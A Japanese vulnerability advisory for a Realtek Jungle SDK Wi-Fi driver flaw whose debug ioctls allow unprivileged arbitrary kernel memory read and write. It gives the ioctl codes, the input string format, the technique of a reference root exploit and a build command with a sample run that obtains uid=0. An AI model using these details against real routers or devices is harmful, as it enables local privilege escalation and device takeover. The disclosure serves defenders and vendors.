
CVE-2026-36355: Realtek rtl819x Jungle SDK - 認証不要のカーネルメモリ読み取り/書き込み(デバッグioctl経由)
Realtek rtl819x アウトオブツリー「Jungle SDK」に含まれる rtl8192cd Wi-Fi カーネルドライバは、write_mem (0x89F5) および read_mem (0x89F6) という2つのIOCTLを、アクセス制御チェックなしで公開しています。ドライバに支えられた無線ネットワークインターフェースを開くことができるローカルユーザーは誰でも、任意のカーネル仮想メモリを読み書きでき、直接 root につながります。
ハンドラは 8192cd_cfg.h 内の _IOCTL_DEBUG_CMD_ によってゲートされており、これは無条件に定義されています(#ifdef DEBUG なし)。したがって、デバッグコマンドセットはすべての製品ビルドにコンパイルされます。
リファレンスエクスプロイト(kpwn)は非特権シェルから uid=0 を達成し、ハードコードされたアドレスはゼロです。task_struct レイアウトと init_task の位置は両方ともランタイムで自動検出されるため、カーネルバージョンやOEMビルドをまたいで移植可能です。
この脆弱性は Realtek rtl819x Jungle SDK カーネル Wi-Fi ドライバに存在し、v3.4.14B までの既知の全バージョンが影響を受けます。開示時点で修正はありません。メインライン Linux の rtlwifi / rtw88 / rtw89 は別のコードベースであり、影響を受けません。
共有ドライバコアは複数のバリアント(rtl8192cd、rtl8192es、rtl8192ee、rtl8192fe、rtl8188ee など)にコンパイルされます。Wi-Fi ドライバを含む Jungle SDK ビルドはすべて影響を受けます。
Realtek Jungle SDK は OEM 契約のもとで広く再配布されています。CVE-2021-35395 のベンダーリスト(同じSDKの別のユーザースペースコンポーネントを標的としたもの)に記載されているベンダーには、D-Link、TOTOLINK、Tenda、NEC、I-O DATA、Elecom、Buffalo、Humax、H3C、IP-COM が含まれます。各製品ラインが脆弱なカーネルドライバを搭載しているかどうかは、製品ごとのGPLソースリリースの調査が必要です。本アドバイザリは、独立した検証なしにそれを断言するものではありません。
| デバイス | Ortel 4G LTE CPE (OEM: MeiG Smart FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| カーネル | Linux 3.18.48 |
| モジュール | rtl8192es.ko |
確認済み: モジュール .bss への 0xDEADBEEF の書き込み、読み戻しと復元。非特権シェルから init_task の走査と資格情報の上書きによる uid=1000 から uid=0 への完全な LPE を達成。
8192cd_cfg.h 内:
#define _IOCTL_DEBUG_CMD_
#ifdef DEBUG でゲートされていません。デバッグコマンドセットはすべての製品ビルドに含まれます。
ドライバの rtl_ioctl() ディスパッチャは、0x89F5 と 0x89F6(ワイヤレスドライバがベンダー拡張に使用する標準の SIOCDEVPRIVATE+5/+6 プライベートIOCTL範囲内)を write_mem と read_mem にルーティングします。ハンドラはユーザー指定の文字列を解析します:
dw,<addr>,<count> — カーネル仮想アドレス addr から32ビットワードを count 個読み取るdw,<addr>,<count>,<value> — value の32ビットワードを count 個 addr に書き込むアドレスは _atoi(base 16) で解析され、カーネル仮想アドレス空間に対する memcpy() に渡され、結果は copy_to_user() でユーザー空間に書き戻されます。次のものはありません:
capable() チェックなしaccess_ok() チェックなし.bss 内の単一の2000バイトのグローバルバッファ(tmpbuf1)を共有します読み取りプリミティブは1回の呼び出しあたり最大128バイトに制限されています。書き込みプリミティブは任意の長さを受け入れます。
同じアクセス制御のギャップは、デバッグセット内の他のハンドラ(0x89F3/0x89F4/0x89F8–0x89FD によるハードウェアレジスタの読み書き、0x89F1 によるMIB書き込み、eFuseの読み書き、製造テストモード)にも適用されます。これらは同じコードパスから到達可能であり、このバグにパッチを当てる人は誰でも完全な監査が必要です。

リファレンスエクスプロイト kpwn.c(本アドバイザリとともに公開):
.data のブルートフォーススキャンで位置を特定する init_task を走査することで、task_struct のオフセット(comm、cred、tasks、pid)を自動検出します。/sys/class/net/* を読み取りプリミティブでプローブすることで、脆弱なインターフェースを自動検出します。/proc/kallsyms が読み取り可能な場合は44回のIOCTL、kptr_restrict=2 の場合は約7600回のIOCTL(完全な .data スキャンパス)。すべてのテスト実行で無条件に root シェルを取得します。# Build:
arm-linux-gnueabi-gcc -static -O2 -o kpwn kpwn.c
# Run as unprivileged user:
$ id
uid=1000(pwn) gid=3003(inet) ...
$ /tmp/kpwn
kpwn — RTL8192CD kernel LPE
[*] Scanning interfaces...
[+] wlan0 — read primitive confirmed
[*] Resolving init_task...
[+] init_task @ 0xc08ecb38
[+] comm=0x3a8 cred=0x3a4 tasks=0x250 pid=0x2c0
[+] cred=0xed3a4500 uid=1000 gid=3003
[*] Overwriting credentials...
[+] uid=0 euid=0 gid=0 egid=0
*** GOT ROOT *** uid=1000 -> 0 (44 ioctls)
# id
uid=0(root) gid=0(root) groups=0(root)
| 日付 | 2026-02-23 |